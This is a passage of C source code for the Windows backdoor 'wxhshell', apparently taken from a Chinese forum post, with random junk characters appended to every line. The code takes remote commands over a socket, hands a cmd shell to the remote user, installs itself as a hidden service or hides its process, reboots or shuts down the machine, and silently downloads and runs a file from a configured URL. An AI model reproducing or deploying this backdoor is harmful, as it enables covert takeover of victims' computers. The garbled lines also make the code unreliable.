    switch(cmd[0]) { *di&%&f  
  .;cxhgU  
  // 帮助 <&*#famX  
  case '?': { E Gr|BLl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9k*^\@\\x  
    break; =nw,*q +  
  } YcEtgpz@  
  // 安装 }isCv b  
  case 'i': { 8x` Kl(  
    if(Install()) ,d3Q+9/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G)4 ZK#wz  
    else ipgN<|`?@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]gjr+GV  
    break; *c!;^Qyp&  
    } aGdpec v  
  // 卸载 z^ YeMe  
  case 'r': { _95- -\  
    if(Uninstall()) ;sm"\.jF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !XkymIX~O.  
    else k{zs578h2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7=; D0SS  
    break; ]L[JS^#7  
    } PjiNu.>2(  
  // 显示 wxhshell 所在路径 t00\yb^vJ8  
  case 'p': { |C&%S"*+D  
    char svExeFile[MAX_PATH]; j\%?<2dj=  
    strcpy(svExeFile,"\n\r"); Omp i~  
      strcat(svExeFile,ExeFile); "m wl-=  
        send(wsh,svExeFile,strlen(svExeFile),0); >SY 2LmV'a  
    break; hwEZj`9  
    } (R9QBZP5  
  // 重启 +R3\cRM  
  case 'b': { 3(cU)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A%.J%[MVz  
    if(Boot(REBOOT)) Q:'qw#P/C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Y?{$M G  
    else { Tz+HIUIxF  
    closesocket(wsh); $,xtif0  
    ExitThread(0); -[i40 1  
    } ey'pm\Z  
    break; a3b2nAIl  
    } u^j8 XOT  
  // 关机 ^D% }V-"  
  case 'd': { H ={O13  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n1fE daa7g  
    if(Boot(SHUTDOWN)) {QIS411  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !N@S^JD6  
    else { z }FiU[Hs  
    closesocket(wsh); UrD=|-r`  
    ExitThread(0);  ;Puy A  
    } U-wq- GT  
    break; M63s(f  
    } 7.w *+Z>z  
  // 获取shell *u:;:W&5y  
  case 's': { ;:#?~%7>  
    CmdShell(wsh); oi33{#%t  
    closesocket(wsh); ^&f{beU9  
    ExitThread(0); *qeic e%E  
    break; Zj%B7s1A  
  } l044c,AW(  
  // 退出 yv6Zo0s<J  
  case 'x': { mq|A8>g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BK`Q)[  
    CloseIt(wsh); 0~PXa(!^K  
    break; I?^Q084  
    } 3D 4]yR5  
  // 离开 _WRR 3  
  case 'q': { 4Zv.[V]iOO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j`[yoAH  
    closesocket(wsh); =8$(i[;6w  
    WSACleanup(); gQ[]  
    exit(1); 97:t29N  
    break; }QX2 :a  
        } c<JM1  
  } pXpLL_  
  } JxMyeo%gv  
-z>Z0viA  
  // 提示信息 _rWM]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c5T~0'n  
} ShEaL&'J  
  } _G-b L;  
kz$6}&uk  
  return; ?34EJ !  
} vy2*BTU?  
=,/A\F  
// shell模块句柄 !%Z)eO~Z  
int CmdShell(SOCKET sock) P ],)  
{ V8KTNt%  
STARTUPINFO si; FthXFxwx$  
ZeroMemory(&si,sizeof(si)); R"9oMaY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &F<J#cfe8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; " kE:T.,  
PROCESS_INFORMATION ProcessInfo; Tv*1q.MB  
char cmdline[]="cmd"; &2P:A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k@cZ"jYA  
  return 0; yP<:iCY  
} G>_42Rp  
(d5vH)+ A  
// 自身启动模式 N>cp>&jV  
int StartFromService(void) oneSgJ  
{ I;Z`!u:+  
typedef struct >~^mIu_BH  
{ 2heWE  
  DWORD ExitStatus; _Gs  
  DWORD PebBaseAddress; c*M)DO`y;h  
  DWORD AffinityMask; s$DT.cvO  
  DWORD BasePriority; r+V(1<`2X  
  ULONG UniqueProcessId; ?}1JL6mF{  
  ULONG InheritedFromUniqueProcessId; l?yZtZ8  
}   PROCESS_BASIC_INFORMATION; EE{#S  
)"i>R ~*  
PROCNTQSIP NtQueryInformationProcess; "OS]\-  
@y;tk$e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w ufKb.4`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Chb 4VoE  
D@lAT#vA  
  HANDLE             hProcess; $&n240(  
  PROCESS_BASIC_INFORMATION pbi; FgHB1x4;  
ZhJ|ZvJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a?U%l9F  
  if(NULL == hInst ) return 0; _I -0,  
0%&fUz36E6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [6/%V>EM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T`RQUJO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "ojDf3@{  
9rf|r 3  
  if (!NtQueryInformationProcess) return 0; )@lo ';\  
$S)e"Po~5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qhn&;{{  
  if(!hProcess) return 0; <5!RAdaj+  
-f|+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ( F"& A?  
<=y5 8O]x  
  CloseHandle(hProcess); Z>MJ0J76]  
$V{- @=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T0np<l]A  
if(hProcess==NULL) return 0; %unK8z  
1,;qXMhK`;  
HMODULE hMod; H/v37%p7  
char procName[255]; *C:q _/  
unsigned long cbNeeded; 6!Tf'#TV~!  
Lct+cKKU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6_`eTL=G  
qS/71Kv'  
  CloseHandle(hProcess); I}g|n0o  
45O6TqepN  
if(strstr(procName,"services")) return 1; // 以服务启动 ^&G O4u  
x"C93ft[  
  return 0; // 注册表启动 BB73' W8y  
} te)g',#lT  
~i_ R%z:y  
// 主模块 B"E(Y M  
int StartWxhshell(LPSTR lpCmdLine)  JY050FL  
{ Velbq  
  SOCKET wsl; ,n,7.m.D  
BOOL val=TRUE; ;uWI l  
  int port=0; <x%my4M  
  struct sockaddr_in door; omUl2C  
;ZqD60%\  
  if(wscfg.ws_autoins) Install(); CsST-qxg  
][$$  =  
port=atoi(lpCmdLine); yn ?U7`V  
ywsz"/=@  
if(port<=0) port=wscfg.ws_port; BUy}Rn  
.*wjkirF#~  
  WSADATA data; jtVPv]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z]>e& N  
\8>N<B)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )>A%FL9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +[l{C+p  
  door.sin_family = AF_INET; I}Gl*@K&O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )*L?PT  
  door.sin_port = htons(port); cX=b q_  
[#@p{[?r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a~N)qYL:  
closesocket(wsl); }"; hz*a  
return 1; #.G>SeTn2}  
} {D2d({7  
$, @ rKRY  
  if(listen(wsl,2) == INVALID_SOCKET) { CPCB!8-5  
closesocket(wsl); ^&w'`-ra  
return 1; {Z~VO  
} cF<DUr)Ve  
  Wxhshell(wsl); pcxl2I  
  WSACleanup(); ()IgSj?,  
#( Yb lY  
return 0; qP.VK?jF|  
);.<Yf{c  
} qaSv]k.  
1p5q}">z  
// 以NT服务方式启动 93p9?4;n-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RkXLE"G '  
{ !\|@{UJk/  
DWORD   status = 0; FU v)<rK  
  DWORD   specificError = 0xfffffff; $YO]IK$  
%^@0tT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Fb4S /_ V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -){^ Q:u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oIR%{`3"I  
  serviceStatus.dwWin32ExitCode     = 0; 58gt*yVu  
  serviceStatus.dwServiceSpecificExitCode = 0; vH\nL>r  
  serviceStatus.dwCheckPoint       = 0; O7_NXfh|  
  serviceStatus.dwWaitHint       = 0; ^J=txsx  
#(}_2x5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b:d.Lf{y7  
  if (hServiceStatusHandle==0) return; { dx yBDK  
Hn2Q1lF-ip  
status = GetLastError(); _xwfz]lb+  
  if (status!=NO_ERROR) KB-#):'  
{ HQ#L |LN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ha'm`LiX  
    serviceStatus.dwCheckPoint       = 0; tp3N5I  
    serviceStatus.dwWaitHint       = 0; |`9zE]  
    serviceStatus.dwWin32ExitCode     = status; a{YVz\?d}  
    serviceStatus.dwServiceSpecificExitCode = specificError; R$'nWzX#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sBG(CpQ  
    return; gYIYA"xN`  
  } #+Gs{iXr  
t $ ~:C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;."{0gq  
  serviceStatus.dwCheckPoint       = 0; ,3TD $2};.  
  serviceStatus.dwWaitHint       = 0; kR|DzB7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2F)OyE  
} HDG"a&$   
"+"dALX{3K  
// 处理NT服务事件,比如:启动、停止 H_$f v_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7.'j~hJL  
{ +[nYu)puP  
switch(fdwControl) CZno2$8@e  
{ O*"wQ50Ou  
case SERVICE_CONTROL_STOP: %[F;TZt  
  serviceStatus.dwWin32ExitCode = 0; 6*oTT(0<p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vb2O4%7tw  
  serviceStatus.dwCheckPoint   = 0; L.&Vi"M <@  
  serviceStatus.dwWaitHint     = 0; Gi_X+os  
  { ~x#-#nuh"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ep1Ajz.l  
  } g(/O)G.  
  return; Z19y5?uR  
case SERVICE_CONTROL_PAUSE: 8y )i,"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -BH'.9uqGQ  
  break; ?O]gFn  
case SERVICE_CONTROL_CONTINUE: NY w(hAPv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~$9"|  
  break; 6h"? 3w  
case SERVICE_CONTROL_INTERROGATE: T[K?A+l  
  break; q:eAL'OkM  
}; JugQ +0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F#9KMu<<cI  
} iFT3fP'> 5  
4SO{cs t  
// 标准应用程序主函数 : .eS|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *J- jr8&  
{ N^j''siB  
z@LP9+?dE  
// 获取操作系统版本 #.K&]OV/88  
OsIsNt=GetOsVer(); PltPIu)F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uB9+E%jOdQ  
G!Q)?N    
  // 从命令行安装 {i?K~| h  
  if(strpbrk(lpCmdLine,"iI")) Install(); a.Vs >1  
ITOGD  
  // 下载执行文件 4ov~y1Da)  
if(wscfg.ws_downexe) { Qx#)c%v \\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (bXp1*0 ;  
  WinExec(wscfg.ws_filenam,SW_HIDE); wn.0U  
} F= lj$?4{  
 5Ww\h  
if(!OsIsNt) { 7}?z=LHb3  
// 如果时win9x,隐藏进程并且设置为注册表启动 L^Af3]]2  
HideProc(); D7oV&vXg  
StartWxhshell(lpCmdLine); +w/o  
} Zz ?y&T  
else x@x@0k`A2  
  if(StartFromService()) :\cJ vm  
  // 以服务方式启动 lKSI5d  
  StartServiceCtrlDispatcher(DispatchTable); 3@A k6Uh  
else s;)tLJ!  
  // 普通方式启动 ;<Q_4 V  
  StartWxhshell(lpCmdLine); @J)vuGS  
&0blHDMj{#  
return 0; (6aZQ`H  
}
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只看该作者 1 发表于: 2006-10-10
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